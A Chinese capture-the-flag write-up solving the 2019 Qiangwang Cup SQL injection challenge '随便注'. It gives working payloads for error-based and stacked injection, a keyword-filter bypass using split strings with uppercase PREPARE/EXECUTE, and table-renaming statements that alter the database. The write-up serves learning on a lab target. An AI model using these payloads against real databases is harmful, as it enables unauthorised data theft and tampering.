随便注
19年强网杯的一道题目
题目环境:https://buuoj.cn/challenges#随便注
解题思路
题目名字叫随便注,显然是sql注入
- 首先确定注入的类型
1 | inject=1' |
得到报错
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’’ at line 1
可以确定是字符型的注入
- 尝试利用报错注入
1 | inject=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ |
返回
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
可以看到过滤了select,update,delete,drop,insert,where和.
利用别的报错注入可以得到库名为supersqli
1 | inject=1' and extractvalue(1, concat(0x5c, database(),0x5c)) --+ |
但接下来无论是union select还是报错注入都没办去获取表名,因为select被过滤了,也没有找到什么办法绕过
- 发现堆叠注入
1 | inject=1';show tables;--+ |
发现可以堆叠注入,得到表名1919810931114514和words
把被过滤的关键字拆分开,用concat拼接,然后用PREPARED和EXECUTE执行
1 | inject=1';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');prepare stmt1 from @sql;execute stmt1;--+ |
返回
1 | strstr($inject, "set") && strstr($inject, "prepare") |
大写没有过滤,把set或者prepare改成大写即可绕过
1 | inject=1';use information_schema;SET @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE stmt1 from @sql;execute stmt1;--+ |
得到列名hahahah和flag
1 | ';use supersqli;SET @sql=concat('s','elect flag from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;--+ |
拿到flag
注意当表名以数字开头时要用反引号括起来,所以要用`1919810931114514`
一道类似的题目是18年SUCTF的MultiSql
其他的一些做法
- 获取列名还可以
1 | inject=1';show columns from `1919810931114514` --+ |
- 另一种思路是把words表改成其他名字,把1919810931114514改成words,因为原本的sql语句是从words表中查询,所以只要把flag列改名成id就可以直接查询出flag
1 | inject=1';RENAME TABLE `words` TO `temp`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words; --+ |
1 | inject=1' or 1=1 --+ |